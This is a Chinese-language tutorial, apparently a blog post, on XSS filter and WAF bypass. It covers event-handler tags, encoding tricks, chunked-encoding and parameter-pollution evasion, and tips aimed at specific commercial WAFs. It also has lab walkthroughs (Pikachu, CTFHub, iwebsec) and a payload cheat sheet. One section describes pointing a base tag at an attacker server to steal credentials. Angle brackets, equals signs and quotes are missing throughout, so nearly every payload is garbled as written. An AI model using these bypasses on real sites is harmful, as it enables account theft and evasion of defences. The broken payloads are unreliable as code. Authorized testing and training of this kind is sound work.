
1. 内容整体设计与思路拆解1.1 核心需求解析我平时做安全测试和CTF带训发现很多人面对XSS漏洞时卡住的往往不是“怎么写payload”而是“为什么我的payload打不出去”。明明在本地测试环境能弹窗换到线上环境就哑火或者服务端加了过滤、中间套了WAF之后常见的scriptalert(1)/script直接就被拦得一干二净。这篇文章要解决的问题就是当你面对过滤规则、标签限制、WAF检测时怎么系统地拆解防护逻辑找出可用的绕过路径。我尽量把思路讲透让大家遇到具体场景时有章可循而不是死记硬背几个payload模板。全文会以反射型XSS、DOM型XSS为主线覆盖标签绕过和WAF绕过的常见手法并穿插皮卡丘靶场、iwebsec靶场和CTFHub这类常见训练环境的实战过关思路。这篇文章适合几类人看一是刚接触Web安全、想在靶场里把XSS链路跑通的新手二是已经会写基础payload但在真实测试或攻防演练中总被过滤和WAF挡住的进阶选手三是开发或运维同学想理解攻击者的绕过思路好把过滤和防护做得更扎实。我会尽量用实战视角来讲少讲虚的。1.2 过滤绕过与WAF绕过的本质先说一个我反复强调的观点绕过不是“猜”而是“推导”。你需要搞清楚三件事——输入点最终落在哪里、服务端或前端对它做了什么处理、浏览器拿到之后如何解析。这三件事串起来绕过的答案往往自己就出来了。很多人有一个误解觉得绕过就是找一些冷门标签或者冷门编码方式。但实际测试中真正有效的绕过靠的是对“解析差异”的利用。什么叫解析差异就是你输入的内容服务端用一种方式理解浏览器用另一种方式理解WAF可能又用第三种方式理解。三者理解不一致就会出现绕过空间。举个例子。服务端如果只是简单地用正则匹配script那你会写scrscriptipt就能过因为服务端把正则命中的部分删掉后剩下的内容拼起来依然是script。这个过程里服务端删除时只匹配了一次没有循环删除而浏览器最终解析的是删除之后的完整内容。这本质上是“过滤不彻底”和“单次处理”导致的解析差异。WAF绕过的逻辑也类似。WAF通常部署在请求入口它看到的是原始HTTP请求内容但很多WAF在解析时只关注最标准的格式。比如分块传输编码chunked transfer处理不当、参数名重复导致后段覆盖、multipart/form-data畸形解析这些都可能在WAF层绕过去而在后端应用却被正常解析。所以我建议每个做XSS测试的人先把这条链路画清楚用户输入 - 应用层过滤服务端代码/前端JS - 拼接进HTML/JS/CSS上下文 - 浏览器解析渲染 - 触发执行你输入的每一个字符都要经历这条链路。哪一层能拦你你就研究哪一层的解析规则。过滤和WAF本质上都是在链路上设置检查点绕过就是把某个检查点对数据的“理解”和后端或浏览器的实际处理“错开”。思路对了后面就是具体技术细节的问题。1.3 工具与前置准备工欲善其事必先利其器。做XSS测试我不推荐纯手工一点一点试效率太低。下面这几个东西是常用的浏览器DevTools必备工具。尤其要看Network面板里的原始请求和响应以及Elements面板看DOM最终渲染结果。很多XSS问题光看响应报文还不够必须看一眼浏览器实际解析后的DOM结构。Burp Suite拦截请求、改包重放、对比过滤差异核心工具。尤其是测WAF绕过时Burp的Repeater功能用来手工构造畸形请求非常好用。HackBar或Cookie-Editor插件快速在浏览器里改请求参数和Header提高效率。本地靶场皮卡丘Pikachu、iwebsec、CTFHub的XSS关卡都是练手的好地方。本地搭一套靶场怎么折腾都不怕。这里特别提醒一点测试过滤和WAF绕过的前提是你有合法授权。靶场自己搭、CTF比赛放开打这都没问题。真实系统请先拿到书面授权否则碰红线的事我不建议做也没必要做。安全技术是用来建设防护能力的不是用来惹麻烦的。2. 标签绕过实战技巧2.1 常用标签与事件触发场景XSS的触发条件本质上就是“把可执行代码送到可执行上下文里”。script标签是最直观的一种但现实场景中很多过滤规则都会优先照顾script所以你必须备好一批替代标签。我按使用频率列一下实战中常用的标签和事件标签事件/属性触发条件备注imgonerror图片加载失败时触发最常用可配合任意错误URLsvgonloadSVG加载完成时触发在HTML中直接内联可用bodyonload页面加载完成时触发放在body开头常见detailsontoggle元素展开/收起时触发用户交互触发部分WAF不拦截marqueeonstart滚动开始时触发老标签很多WAF容易忽略videoonerror视频加载失败时触发需要配合src属性inputonfocus元素获得焦点时触发可配合autofocus属性自动触发光有标签还不够关键在于“触发条件是否自动发生”。比如onerror要图片加载失败才触发所以常见的payload是img srcx onerroralert(1)这里的srcx是故意写一个不存在的地址逼浏览器报错。而onfocus配合autofocus可以让元素在页面加载时自动获得焦点从而实现自动触发例如input autofocus onfocusalert(1)。我实践中用得最多的组合是svg/onloadalert(1)和img srcx onerroralert(1)。前者简洁后者在不同浏览器中的兼容性更好。你还要注意一点不同浏览器对HTML标签的解析宽容度不一样比如老版本IE允许很多不规范写法现代浏览器相对严格一些。现场测试时如果某一类标签不生效优先换一个触发机制完全不同的标签而不是纠结在同一类标签里。2.2 标签结构层面的绕过手法标签层次绕过的核心就是利用浏览器HTML解析器的宽容特性让过滤规则失效。下面这些都是被反复验证有用的手法。大小写混合老生常谈但依然有效。很多正则默认是大小写敏感的比如scRiPtalert(1)/sCrIpT就可能绕过规则写得比较死的过滤。不过现代WAF一般会做大小写归一化所以这个手法只能作为最基础的尝试。属性拆分与空格替换浏览器解析HTML时标签名和属性名之间的空格是可以千奇百怪的。常见的替换方式包括制表符\t、换行符\n、回车符\r。比如svg onloadalert(1)这里的换行符在很多正则里不会被匹配到但浏览器在解析HTML标签时会把空白字符折叠照样正常识别。引号风格混用属性值可以用双引号、单引号也可以不用引号。如果过滤规则只匹配了引号包裹的写法img srcx onerroralert(1)这种无引号写法就能过。如果反过来规则只匹配无引号的那你就加上引号。多试几种组合往往会有意外惊喜。标签截断与闭合当输入被插入到HTML标签内部的属性位置时你需要先闭合当前标签再开启新标签。比如输出点在a href这里那用户输入svg onloadalert(1)就能先闭合掉href属性然后开启新标签。有时候输出点在textarea或title这类特殊标签内部这些标签有特殊的解析规则内容里即使有也不会被当作标签开始必须先把当前标签闭合才能注入。这种场景下先写/textareasvg onloadalert(1)是标准操作。注释符与格式符混淆HTML解析器对!--、!这类特殊开头的处理比较宽容。例如svg/onloadalert(1)中不加有的浏览器会自动闭合标签并执行。另外svg!-- --onloadalert(1)这种把注释塞进标签内部的做法偶尔也能绕过一些按关键字匹配的规则。这些手段比较脏但实战中确实可能遇到规则写得粗糙的场景。2.3 编码层面的绕过思路编码绕过的核心是利用浏览器在不同上下文中的解码顺序让过滤规则认不出你的关键字但浏览器最终会解码成可执行代码。HTML实体编码如果输入被原样输出在HTML文本节点中lt;scriptgt;会被浏览器显示为script但不会作为标签解析。所以要触发XSS实体编码必须落在属性值或事件代码等“会被二次解码”的场景。比如a hrefjavascript: #97;lert(1)浏览器会先解码HTML实体再执行javascript:协议。但需要注意现代浏览器对javascript:协议在href中的执行有限制这个手法在旧浏览器里更可靠。URL编码如果输入最终拼接到URL参数中比如img srcjavascript:alert(1)被过滤时尝试img srcjavascript:%61lert(1)。后端可能会做URL解码如果只做一层解码最终给到浏览器的还是编码状态浏览器再解析时就会解码并执行。但如果先后端解码了一次、浏览器又解码一次反而导致最终代码有两层编码反而不会执行。所以编码层数必须精确匹配里面有个度要把握。JS中的编码当你的输入被插入到script标签内部的JavaScript代码中时可以利用JS字符串的Unicode转义。比如al\u0065rt(1)\u003b在JS解析时会被还原成alert(1);。如果过滤规则是在JS层面做的字符串匹配它看到的是原始的\u0065rt形式可能就不会命中关键字。多级编码嵌套理论上可以HTML实体编码套URL编码套JS Unicode编码形成多层嵌套。但每多一层浏览器解析时就要多一步解码中间任何一步出错都会导致利用失败。我的建议是编码先做单层尝试单层不行再叠第二层不要一上来就搞三层嵌套否则排查问题会非常痛苦。这里我想强调一个细节编码绕过的前提是你清楚输入进入到了浏览器的哪一层上下文。HTML实体编码在文本节点中不会变成标签但在JS字符串中就可能被二次解码。上下文判断错误再复杂的编码都是白搭。与其背一堆编码表不如先学会用DevTools定位输出点所处的DOM位置和解析上下文。2.4 没有常规标签可用时的备选思路有些场景更极端过滤规则把常见标签全拉黑了script、img、svg全都不行事件属性也过滤了一圈。这时候就要换赛道。CSS向量link relstylesheet href//攻击者服务器/1.css可以把外部CSS拉进来然后在CSS里写background:url(javascript:alert(1))之类不过现代浏览器对CSS中的javascript:协议同样限制较多在老版本里更有效。另外style标签配合CSS表达式expression是IE时代的经典手法现在基本失效但如果你测试的目标是老旧系统仍然值得一试。meta标签刷新meta http-equivrefresh content0;urljavascript:alert(1)是另一种思路。通过meta刷新跳到javascript:协议老浏览器可能执行现代浏览器大多已经封堵。但meta refresh跳到外部钓鱼页面的能力依然存在这在一些场景中可以被用作鱼叉攻击的跳板。iframe与Base标签iframe srcjavascript:alert(1)在老浏览器中可以执行JS。base href//攻击者服务器/则可以把页面上所有相对路径都重定向到攻击者服务器这种手法不直接弹窗但能把页面资源引到自己的服务器上实现窃取票据或账号密码的目的而且是很多过滤规则容易忽略的点。DOM型XSS的特殊性如果漏洞是DOM型XSS那服务端过滤往往派不上用场因为payload根本没有经过服务端处理。比如location.hash、document.referrer、window.name这些输入源被JavaScript获取后直接拼接到innerHTML或eval中。这种情况下“标签绕过”就不只是绕过服务端过滤了还需要绕过前端JS自己写的那层过滤逻辑。常见的DOM操作如document.write()、element.innerHTML、eval()、setTimeout(...)都是DOM型XSS的高发点。3. WAF绕过原理与实战手法3.1 WAF的工作机制与盲区WAFWeb应用防火墙部署在用户和应用之间主要靠解析HTTP请求来匹配攻击特征。不同WAF的检测能力差异很大有的只是正则匹配几个敏感关键词有的做了完整语义分析和行为建模。理解WAF的工作机制才能知道绕过该从哪里入手。常见WAF的工作模式大概有三层正则规则层基于签名匹配比如检测到script、alert(、union select这类关键字就直接拦截。绕过思路很简单就是变换写法绕开这些签名。协议解析层WAF会先解析HTTP协议拿到URL、Header、Body中的参数再对参数内容做检测。如果WAF对协议解析有缺陷比如处理分块传输、畸形Content-Type时出错就可以让WAF看不到真实参数但后端Web服务器却能正常处理。语义分析层这是最难的。WAF不仅看关键字符还会尝试还原攻击代码的语义比如读了你的JS语法树、分析SQL语句结构。对于语义分析严密的WAF简单变换写法可能无效需要从协议层面或业务逻辑层面找破绽。我参与过几次攻防演练越来越多的WAF在往语义分析方向走但依然存在两个共性盲区一是对畸形协议解析不健壮二是对加密或压缩后的请求内容直接跳过检测。比如HTTPS流量如果不解密WAF只能依赖证书重签的中间人方案配置复杂有些部署根本不开这个功能再比如请求体是gzip压缩的如果WAF不主动解压它检测的就是一堆乱码而后端Web容器会正常解压处理。这两个盲区就是WAF绕过的重要切入点。3.2 协议层与请求构造层面的绕过协议层绕过核心思路是让WAF和后端Web服务器对同一个请求产生不同的理解。我挑几个实战中确实用过的点。分块传输编码Transfer-Encoding: chunked分块传输是HTTP/1.1的标准特性请求体被切成多块每块前面有长度标记最后以0\r\n\r\n结束。如果WAF没有完整解码chunked传输而只是把原始字节拿去正则匹配那攻击payload可以拆成多块WAF拼接出来的内容可能不完整后端却能正常拼出完整payload。举个例子script可以拆成scr、ipt两段分块发送WAF因为只检测单个分块而放过后端拼起来完美执行。参数污染HPP当一个参数在请求中出现多次时不同后端解析器取的值可能不一样。比如?id1idscriptalert(1)/script有的WAF取第一个id值检查后端却取第二个或者反过来。和参数污染密切相关的还有数组形式参数比如?id[]1id[]script某些语言会解析成数组而WAF的正则脚本可能没考虑到这种语法。Content-Type伪装把请求的Content-Type从application/x-www-form-urlencoded改成multipart/form-data再按multipart格式重新构造请求体。有些WAF对不同Content-Type的解析严格程度不一样更关注URL参数而忽略Body内容或者只对特定Content-Type做深度检查。你用multipart格式包一层可能就绕过了WAF对Body的检查而后端框架会正常解析。畸形Header和编码URL中的编码变形比如%0a、%00、%u等在部分WAF的URL解码逻辑里可能处理不当。路径参数用法比如/index.php%3Fid1这种把参数混入路径的写法也可以让部分WAF的URL解析出错。这些协议层手法有一个共通点先探测后端对畸形请求的容忍度。如果后端框架很严格畸形请求直接被拒那就没有绕过的基础。所以做WAF绕过测试我一般先用无害参数试一遍不同Content-Type和编码方式确认后端的解析偏好再决定构造哪种畸形请求。3.3 规则匹配层的拆分与混淆这类手法其实是标签绕过的升级版专门用来对抗基于规则的WAF检测。关键词中间拆分在敏感关键词中插入不被执行或无影响的字符让规则匹配不到完整的关键词。但要注意浏览器是否忽略这个插入字符取决于插入位置。常见手法是在标签名和属性名之间、属性名和之间、和值之间插入换行、Tab、注释符。比如scr%00iptalert(1)/script scri\tptalert(1)/script scr!-- --iptalert(1)/script%00有时会被后端解码成空字符拼接后后端或浏览器看到的是script但WAF如果提前解码或不识别%00就不会命中。!-- --塞进标签内部虽然写法很怪但浏览器的HTML解析器对这种情况有时是容忍的。JS函数动态拼接如果你能执行JS但alert这类敏感函数名被拦截可以动态拼接svg onloadeval(atob(YWxlcnQoMSk))atob是浏览器内置的Base64解码函数YWxlcnQoMSk解码后就是alert(1)。WAF如果只检测alert(它在这个payload里是看不到的。同理可以用String.fromCharCode构造字符串比如eval(String.fromCharCode(97,108,101,114,116,40,49,41))正则里没有直接出现敏感关键字。动态标签名和递归拼接如果WAF检测script可以尝试scrscriptipt这种递归写法前提是服务端过滤采用了单次替换而非循环替换。这个手法在自研过滤函数中特别常见在商业WAF中则很少成功因为商业WAF的规则引擎通常已经考虑了这种模式。垃圾字符填充有的WAF规则引擎对超长参数默认不做完整检测或者只检查参数前N个字符。在payload前后填充大量无意义字符可能让检测超时或截断。这个手法比较“脏”实际场景中不到万不得已不建议用因为它很容易影响业务正常性也容易被日志告警系统注意到。3.4 针对性WAF的绕过思路不同WAF产品有自己的“脾气”。我在实际测试中会先做一个探测脚本把常见payload批量发送到目标观察哪些被拦截、哪些放行再根据放行情况反推WAF的检测逻辑。下面是一些针对化思路腾讯云WAF整体规则库比较完善常规的script、onerror等自带触发机制的payload很容易被识别。但有些经典场景还是有空间比如利用JSONP回调函数、利用multipart/form-data格式的解析差异、利用onload事件配合body、svg等非HTML标签属性。这类WAF对东西向流量和南北向流量的检测深度不一样部署位置和策略配置也会影响拦截效果所以没有通用的payload必须现场探测。宝塔WAF宝塔面板自带的WAF更多是规则匹配和简单语义分析对已知攻击签名覆盖比较全但对畸形编码和协议层的深度检测偏弱。实践中有几种思路值得尝试利用大小写混合、利用\u等JS转义形式、利用动态拼接配合eval、利用multipart/form-data的Boundary变形。宝塔WAF的日志记录比较详细测试时开启日志可以清楚看到流量被拦截在哪个环节方便针对性地调整payload。Cloudflare等云WAF这类WAF的语义分析模型更成熟而且有全球威胁情报背书。但它在某些配置下只检测标准字段比如对HTML表单提交的场景检查严格对API接口或JSON格式的请求却只做浅层检查甚至不检查。所以如果目标系统有API接口且接口参数如果反射了用户输入把payload伪装成JSON格式提交有可能绕开云WAF的HTML恶意特征库。另外云WAF对KnownBot和搜索引擎爬虫的流量通常会放行伪造搜索引擎UA配合XSS利用有时候也能绕过。我在攻防演练中的经验是WAF绕过最关键的不是找万能payload而是建立“试探-预测-验证-修正”的循环。每发现一个放行的payload就分析它为什么放行然后顺着这个逻辑去构造变体。批量跑字典撞运气效率低而且容易被封IP。4. 典型靶场场景实战复现4.1 皮卡丘靶场反射型XSS复现皮卡丘靶场是国内爱好者非常熟悉的Web安全训练环境里面的反射型XSS关卡非常适合演示标签绕过的完整流程。我详细走一遍复现过程。先在靶场页面找到反射型XSS入口输入test观察响应中test出现在哪里。通常它会被直接拼到某个input标签的value属性中或者输出到页面某个区域。这一步是定位输出点是所有后续操作的基础。确认输出位置后我尝试scriptalert(1)/script如果页面弹窗说明没有过滤直接过关。如果没弹窗打开DevTools查看响应内容看到底是script被实体编码了、被删除了、还是被替换了。皮卡丘靶场中有些关卡的过滤逻辑就是典型的字符串替换。比如把script替换成空字符串。此时输入scrscriptiptalert(1)/script服务端替换掉中间的script后最终响应变成scriptalert(1)/script浏览器正常弹窗。这个手法演示了“单次替换”的经典绕过。如果过滤规则更严格把所有和都替换掉那标签类payload基本无效。这时候就看输出位置了。如果输出点在HTML标签的属性内部尝试用事件触发而不闭合标签。比如输出点在input value这里输入 onfocusalert(1) autofocus最终响应变成input value onfocusalert(1) autofocus页面加载时自动聚焦触发弹窗。实现这个利用的核心在于把当前属性闭合、注入新属性、再平衡引号。我写payload时一般先用svg onloadalert(1)这种闭合格式测试如果弹窗再精简成 autofocus onfocusalert(1)这种属性注入形式。前者更通用后者更符合真实场景中的限制条件。4.2 CTFHub XSS关卡的DOM型XSS调试思路CTFHub的DOM型XSS关卡和反射型XSS最大的不同是你发的请求并没有把payload带回响应中漏洞完全在浏览器端的JavaScript里被触发。调试这类漏洞必须借助浏览器DevTools。进入关卡后我通常先在Sources面板里翻JS源码看有没有location.hash、document.URL、location.search、document.referrer和innerHTML、document.write、eval这类的搭配。这种“输入源”加“危险函数”的组合基本就是DOM型XSS的藏身之处。找到JS代码后里面对输入内容有时会做一层过滤。比如只允许http://开头的链接或者把script替换成空。CTFHub这类关卡的过滤逻辑通常比较简单用前面说过的标签绕过或编码手法就能击穿。最典型的场景是location.hash的值被直接写入innerHTML。用户访问http://靶场/#img srcx onerroralert(1)JavaScript把window.location.hash取出来放进innerHTML浏览器解析HTML后执行onerror事件。这里payload不用经过URL参数所以服务端完全无感知日志里也不会有任何攻击记录。这也是DOM型XSS很难被设备检测到的原因。调试DOM型XSS时我强烈建议在DevTools的Sources面板里给危险函数调用点打断点单步执行观察输入源的值和过滤后的结果。看到变量在当前上下文中的真实值比猜过滤逻辑更高效。4.3 iwebsec靶场XSS漏洞通关记录iwebsec靶场把XSS漏洞拆成了多个关卡每一关都是一道过滤规则。我在通关过程中遇到几个典型情况记录一下当时的分析思路。有一关过滤规则是把onerror替换为空。我的绕过思路是利用HTML属性的可拆分性在on和error之间插入一个换行符。写出的payload是img srcx on\nerroralert(1)服务端正则没有匹配到onerror但浏览器解析HTML属性名时会忽略属性名中的换行符识别为onerror并触发。过这一关让我彻底理解了“浏览器对属性名的宽容解析”。另一关是只过滤小写关键字不区分大小写的绕过直接过关。还有一关是把script替换成scr_ipt导致标签失效。我的绕法是利用替换逻辑本身——输入scrscriptipt服务端把第一次匹配到的script替换后遗留的script正好构成有效标签。iwebsec设计得比较好的地方是每一关都有详细说明和提示便于理解过滤规则的侧重点。通关之后我建议再把每关的payload记录下来做成自己的绕过速查表这样后面碰到真实系统时能快速对应。我再强调一遍做XSS练习一定不要把暴力跑字典作为首选方法。每过一关都回头分析一下服务端的过滤代码或WAF的拦截逻辑把“为什么这个payload能过”想清楚才是真正的收获。5. 常见问题与排查技巧实录5.1 payload正确但不生效的检查方向这是出现频率最高的问题payload在测试环境能用换个场景就不行了。我一般按下面这个顺序来排查。第一检查输出编码。如果响应中变成了lt;说明服务端做了HTML实体编码那直接输出字符是无效的得找能绕过实体编码的思路或者看是不是存在其他输出点。第二检查浏览器解析上下文。同样一个payload在HTML文本节点里和在标签属性里行为完全不同。第三检查是否存在CSP内容安全策略限制。如果页面响应头里有Content-Security-Policyscript标签和eval可能直接被禁掉。CSP对XSS的防御效果非常好很多注入在这种情况下会静默失败。第四检查浏览器版本和前端框架。现代前端框架会对输入做转义jQuery的html()方法和text()方法处理结果也完全不同。5.2 被过滤到怀疑人生的突破点有时候会碰到过滤逻辑把payload干得只剩几个字符好像所有路都堵死了。这时候不要慌我有个习惯性动作先尽可能多地改变输入观察不同输入点在不同过滤条件下的响应差异做一个简单的“过滤探查”。比如依次输入、、、、(、)、/看响应中哪些字符被转义、被删除、被替换。这个探查结果就是过滤规则的“地图”。有了地图你再回头设计payload时就知道哪些字符能用、哪些不能用然后从可用的字符集合里找能够构造合法HTML或JS的路径。另外一个很容易被忽略的点是过滤规则可能只作用于参数名或特定参数的取值。如果?namescript被过滤试试?namesvg/onloadalert(1)commentscript这种多参数组合可能只拦了name参数却放过了comment参数。或者同一个参数的不同位置比如URL路径部分和Query部分过滤强度完全不同。5.3 常见过滤与绕过对照速查表我把自己平时用得比较多的绕过组合整理成了一个速查表大家在测试时可以直接查对应关系。服务端/WAF过滤方式常见绕过思路示例过滤script标签单次替换绕过scrscriptiptalert(1)/script过滤onerror等事件属性名插入换行/Tabimg srcx on\nerroralert(1)过滤大小写不敏感的关键字标签截断和SVG/IMG替换svg/onloadalert(1)过滤(、)等括号异常事件或错误时的错误处理构造img srcx onerroralert(1)括号有多种替代形式过滤alert等函数名Base64解码或String.fromCharCodesvg onloadeval(atob(YWxlcnQoMSk))过滤等特殊字符属性注入、闭合引号、利用CSS/其他协议向量 autofocus onfocusalert(1) xWAF按关键字正则检测注释符、编码、动态拼接、灵活空白字符组合如javas#99;ript:的变形这表格不是万能的但它覆盖了我在靶场和授权测试中大多数实用场景。真遇到绕过不了的就把WAF或过滤源码的日志打开看拦截的具体命中了哪个规则然后针对这个规则做变形。这个过程虽然耗时但有效。5.4 让我印象深刻的几个坑以前有个项目里我在某个参数输入script后响应里的script被完整地变成了lt;scriptgt;我以为没戏了。后来顺手输入了一个包含双引号的字符串发现没有被转义输出点在一个input value...的属性里。最终我用 autofocus onfocusalert(1)实现了弹窗。这个案例给我的教训是不要因为一个标签类payload失败就放弃整个点一定要多测几个不同的字符和上下文组合。还有一次测DOM型XSS前端JS对输入做了replace(//g, )把左尖括号全删了。我一开始想怎么绕过左尖括号后来发现innerHTML接收的是整个location.hash而删除尖括号的操作只对hash值做了一次处理但当输入包含lt;img srcx onerroralert(1)gt;这类HTML实体形式时innerHTML解析时会把实体还原成尖括号并当作标签执行。这个漏洞的本质是过滤操作在JavaScript字符串层做了一次而浏览器解析innerHTML时又做了一次HTML解码两层之间的解析差异就是绕过空间。还有一个比较隐蔽的坑是超长payload导致WAF检测失效这在部分云WAF和老版本自研WAF上出现过。通过在payload前后填充大量无意义字符某些WAF会因默认只检查参数前N个字节而跳过中间的攻击特征。但这种方式在真实业务系统上非常容易被发现所以不建议为了炫技去用了解原理就好。5.5 如何系统地沉淀绕过能力我看到很多新手喜欢收藏一长串payload列表但真到用的时候还是不知道选哪个。我建议换一种方式做分类实验记录。每在靶场遇到一个新的过滤规则就把三件事记下来过滤规则是什么、绕过的payload是什么、为什么能过从解析机制层面解释。久而久之你的知识是“网络状”的而不是“清单状”的。比如你碰到过“属性名加换行绕过”记录一次。之后你看到任何属性级的过滤就会自然联想到换行符、Tab符、注释符这类思路触类旁通。再比如你理解了“单次替换”的机制以后看到任何“删除XX关键字”的功能都会本能地想到“能不能用嵌套包含绕过”。这就是实战里区分老手和新手的地方——老手脑子里装的是机制新手脑子里装的是字符串。还有一点做XSS测试时一定要学会看日志。无论是WAF日志、Web应用日志、还是浏览器Console里的报错信息都能提供大量线索。很多时候不是payload不对而是你的请求根本没到目标代码分支。先确认请求链路再调payload效率会高很多。我个人在实际操作中的体会是XSS绕过的门槛不高但天花板很高。真正的深度来自对浏览器解析机制、服务端过滤函数、WAF工作方式三者交叉区域的理解。你在哪个层面想明白了就能在哪个层面绕过。希望这篇内容能把大家带上一条更系统的学习路径而不是停留在复制粘贴payload的阶段。